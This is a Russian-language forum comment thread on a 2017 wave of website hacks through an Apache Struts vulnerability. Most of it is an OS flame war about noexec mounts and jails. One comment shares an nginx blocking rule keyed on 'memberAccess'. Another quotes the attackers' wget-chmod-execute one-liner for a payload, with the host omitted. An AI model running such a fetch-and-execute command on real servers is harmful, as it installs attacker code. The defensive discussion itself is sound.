Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+1 +/–
Сообщение от Аноним (??) on 09-Мрт-17, 11:47
Стратс уже сто лет в полусдохшем состоянии и никому не нужен.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	3. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+19 +/–
	Сообщение от Аанон on 09-Мрт-17, 11:49
	Никому, кроме всех тех, кому он нужен.
	Ответить \| Правка \| ^ к родителю #1 \| Наверх \| Cообщить модератору

4. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+8 +/–
Сообщение от Аноним (??) on 09-Мрт-17, 11:56
С учётом того, что сайты на Java+Struts очень любят делать банки и госучреждения (умолчим про gosuslugi.ru) последствия этой дыры могут быть даже серьёзнее, чем кажется.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	37. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от лютый жабист__ on 10-Мрт-17, 05:43
	Если госуслуги на струтсе сделаны и можно было тихой сапой слить базу ПФР+ИНН+ФИО+ДР+все объекты налогообложения _в масштабах страны_, я категорически не понимаю кульхацкеров, которые слили возможность и запалили такую дыру на то, чтобы овнить какую-то никому ненужную шелупонь. Про банки молчу, там ещё легче монетизировать дырку.
	Ответить \| Правка \| ^ к родителю #4 \| Наверх \| Cообщить модератору

5. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+7 +/–
Сообщение от Аноним (??) on 09-Мрт-17, 12:11
Если у вас томкат за нжинксом, можете быстро сделать: if ($http_content_type ~ memberAccess) { return 403; }
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	29. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–7 +/–
	Сообщение от Alex (??) on 09-Мрт-17, 22:15
	что за блин нжинкс, энжин-экс (engine x)
	Ответить \| Правка \| ^ к родителю #5 \| Наверх \| Cообщить модератору


	36. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от incker on 10-Мрт-17, 03:29
	x - икс так оно читается на русском x - экс так оно читается на английском Так что пофигу
	Ответить \| Правка \| ^ к родителю #29 \| Наверх \| Cообщить модератору

6. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
Сообщение от Michael Shigorin (ok) on 09-Мрт-17, 12:13
Интересно, успел ли кто эту беду сбэкпортировать в EOL'нутый 1.3.10, который по всем https://pkgs.org/download/struts ...
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

12. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+4 +/–
Сообщение от iZEN (ok) on 09-Мрт-17, 13:26
Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами линуксов, но не FreeBSD.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	14. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+2 +/–
	Сообщение от Аноним (??) on 09-Мрт-17, 13:38
	> Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами > линуксов, но не FreeBSD. Что лишний раз подтверждает большую распространённость FreeBSD на серверах.
	Ответить \| Правка \| ^ к родителю #12 \| Наверх \| Cообщить модератору


	22. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+13 +/–
	Сообщение от Аноним (??) on 09-Мрт-17, 15:43
	> Что лишний раз подтверждает большую распространённость FreeBSD на серверах. Вот и гордые надуватели щёчек набежали. Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие замечательные штуки, как монтирование с nonexec? https://www.freebsd.org/cgi/man.cgi?mount(8) Так что cd /tmp; wget .../syn13576;chmod 777 syn13576;./syn13576 можно делать хоть до посинения. А еще, для апачей и прочих дыроколов есть такая вещь, как клетки. Это типа контейнера, только без той кучи дыр и оговорок, что "контейнеры вообще-то не для безопасности!". Так что обтек… завидуйте молча.
	Ответить \| Правка \| ^ к родителю #14 \| Наверх \| Cообщить модератору


	24. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+8 +/–
	Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13
	В клетках практически всё под ro, а для нужд ПО рабочую директорию под nonexec,nosymfollow и тд, не говоря уже об урезанном мире самой клетки.
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	31. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–2 +/–
	Сообщение от Аноним (??) on 09-Мрт-17, 23:25
	А в линуксе конечно же не монтирования с noexec. Пиши есчо, непафосный ты наш.
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	53. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+5 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:08
	> А в линуксе конечно же не монтирования с noexec. Судя по эксплойту, нет. Или как с тем же grsecurity, все есть, но никто не пользуется.
	Ответить \| Правка \| ^ к родителю #31 \| Наверх \| Cообщить модератору


	35. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–2 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 02:09
	VNET уже перестал ядро ронять, м? Или всё по старинке - на алиасах костыляете?
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	56. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+2 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:27
	> VNET уже перестал ядро ронять, м? Если отвлечся от откровенного спрыгивания с темы, все равно остается вопрос: и как там, в криокамере? Кстати, вы бы поинтересовались, что такое VNET. А то "ядерная фича могла уронить ядро, фи!" звучит несколько фанатично. Микроядра только недавно обсуждались.
	Ответить \| Правка \| ^ к родителю #35 \| Наверх \| Cообщить модератору


	40. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–4 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 08:30
	Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но ещё и с nodev, и ro. Здорово, правда?!
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	52. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+3 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:02
	> Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но > ещё и с nodev, и ro. Здорово, правда?! nodev? Зачем он нужен? Хотя чего это я, до лапчтатых ведь иногда как до жирафов. ro для /tmp? Верю!
	Ответить \| Правка \| ^ к родителю #40 \| Наверх \| Cообщить модератору


	55. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–3 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:22
	> nodev? Зачем он нужен? Прелестно, вот такие вот "специалисты" бздю и лепят.
	Ответить \| Правка \| ^ к родителю #52 \| Наверх \| Cообщить модератору


	57. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+3 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:39
	>> nodev? Зачем он нужен? > Прелестно, вот такие вот "специалисты" бздю и лепят. Вот такие как вы "специалисты" не знают, но имеют ценное мнение оюо всем на свете. > Author: rodrigc <rodrigc@FreeBSD.org> > Date: Tue Nov 29 19:13:28 2005 +0000 > Document removal of nodev mount option. > Requested by: gleb Но вы держитесь. За Ядро, Линуса и Родной Дистрибутив и все такое (иначе не объяснить, почему некоторые при отсутсвии представления о чем-то, упорно лезут это что-то критиковать).
	Ответить \| Правка \| ^ к родителю #55 \| Наверх \| Cообщить модератору


	61. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	–2 +/–
	Сообщение от Аноним (??) on 11-Мрт-17, 18:03
	Ну то есть зачем нужен nodev вы по прежнему не знаете ?
	Ответить \| Правка \| ^ к родителю #57 \| Наверх \| Cообщить модератору


	62. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+1 +/–
	Сообщение от Аноним (??) on 11-Мрт-17, 19:01
	> Ну то есть зачем нужен nodev вы по прежнему не знаете ? Опять по себе судите? Разрешаю посмотреть в ман. https://linux.die.net/man/8/mount Заодно: http://www.google.com/search?q=зачем+нужны+запятые После этого, можете попытаться объяснить, зачем на бзд нужен nodev. И что там с ro /tmp.
	Ответить \| Правка \| ^ к родителю #61 \| Наверх \| Cообщить модератору


	48. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+2 +/–
	Сообщение от Michael Shigorin (ok) on 10-Мрт-17, 12:18
	> монтирование с nonexec? Только не говорите мне, что такие очепятки врастают в пальцы тех, кто на самом деле применяет -o noexec.
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	54. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+2 +/–
	Сообщение от Аноним (??) on 10-Мрт-17, 15:21
	>> монтирование с nonexec? > Только не говорите мне, что такие очепятки врастают в пальцы тех, кто > на самом деле применяет -o noexec. Хорошо, не скажу. Еще не скажу ничего о fstab. Потому как, если уж кому-то хочется докопаться, то причина всегда найдется. На опеннете, как всегда, достаточно классического «почему без шапки» -- «почему не пингвин?!» 24й комментарий: > Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13 > а для нужд ПО рабочую директорию под nonexec,nosymfollow
	Ответить \| Правка \| ^ к родителю #48 \| Наверх \| Cообщить модератору


	58. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+1 +/–
	Сообщение от Michael Shigorin (ok) on 10-Мрт-17, 17:17
	>>> монтирование с nonexec? >> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто >> на самом деле применяет -o noexec. > Хорошо, не скажу. Еще не скажу ничего о fstab. Туда пишут или скрипты, или те, кто буковки умеет нажимать правильно. > Потому как, если уж кому-то хочется докопаться, то причина всегда найдется. Дружески предлагаю Вам начать с себя -- возможно, поймёте, что насмешку получили в ответ на попытку выпендриться. :)
	Ответить \| Правка \| ^ к родителю #54 \| Наверх \| Cообщить модератору


	67. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от пох on 17-Мрт-17, 16:06
	> Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых, > слышали о нормальных дефолтах о нормальных они сроду не слышали - начиная от попыток автоматического сетапа в XXI веке создавать /tmp на физическом диске (или в виде zfs volume), и заканчивая ненужными для tmp softupdates, если все же заставить его создавать md, но специальным ключом вручную не озаботиться (и да, там у нас ufs, потому что попытки сделать "чистую" memory-backed fs разбились о неосиляторство - оно даже есть, но ухитряется работать хуже ufs over md) > и у них есть такие замечательные штуки, как монтирование с nonexec? /tmp с noexec ? Поздравляю, ты сломал плагины mc, и, вероятно, не только их. линукс, кстати (кроме того самого mc) noexec в /tmp пережил бы, но у него есть (отдельный) /var/tmp, где вполне себе создаются и исполняются в процессе нормальной работы файлы. Начиная от пост и пре-инсталл скриптов в rpm. А, в недоделке по имени pkg до сих пор ничего подобного ниасилено? (угадайте, куда в результате пихают то, что нужно делать один раз при установке пакета?)
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	71. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от Аноним (??) on 13-Сен-17, 20:52
	> пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие > замечательные штуки, как монтирование с nonexec? Они и у лапчатых есть, о непафосный. А ты уверен что яве вообще есть какое-то дело до всего этого? Может ей достаточно лишь прав на чтение файла, она же код сама генерит а система вообще не в курсе что этот читаемый файл будет еще и исполняться потом.
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору


	16. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+6 +/–
	Сообщение от Аноним (??) on 09-Мрт-17, 14:17
	Но ведь на жаве, это главное, разве нет?
	Ответить \| Правка \| ^ к родителю #12 \| Наверх \| Cообщить модератору


	64. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от Некулхацкер on 14-Мрт-17, 18:16
	Они для случаев, когда среду разворачивали как попало. Не скажу, что это редкое явление.
	Ответить \| Правка \| ^ к родителю #12 \| Наверх \| Cообщить модератору


	66. "Волна взломов сайтов через неисправленную уязвимость в Apach..."	+/–
	Сообщение от Некулхацкер on 16-Мрт-17, 18:46
	Оригинальный взгляд на проблему. Очень. Что помешает запустить под фрёй контейнер от рута? Есть какой специальный "дух здравого смысла"? Демон здравого смысла, если винрарно.
	Ответить \| Правка \| ^ к родителю #12 \| Наверх \| Cообщить модератору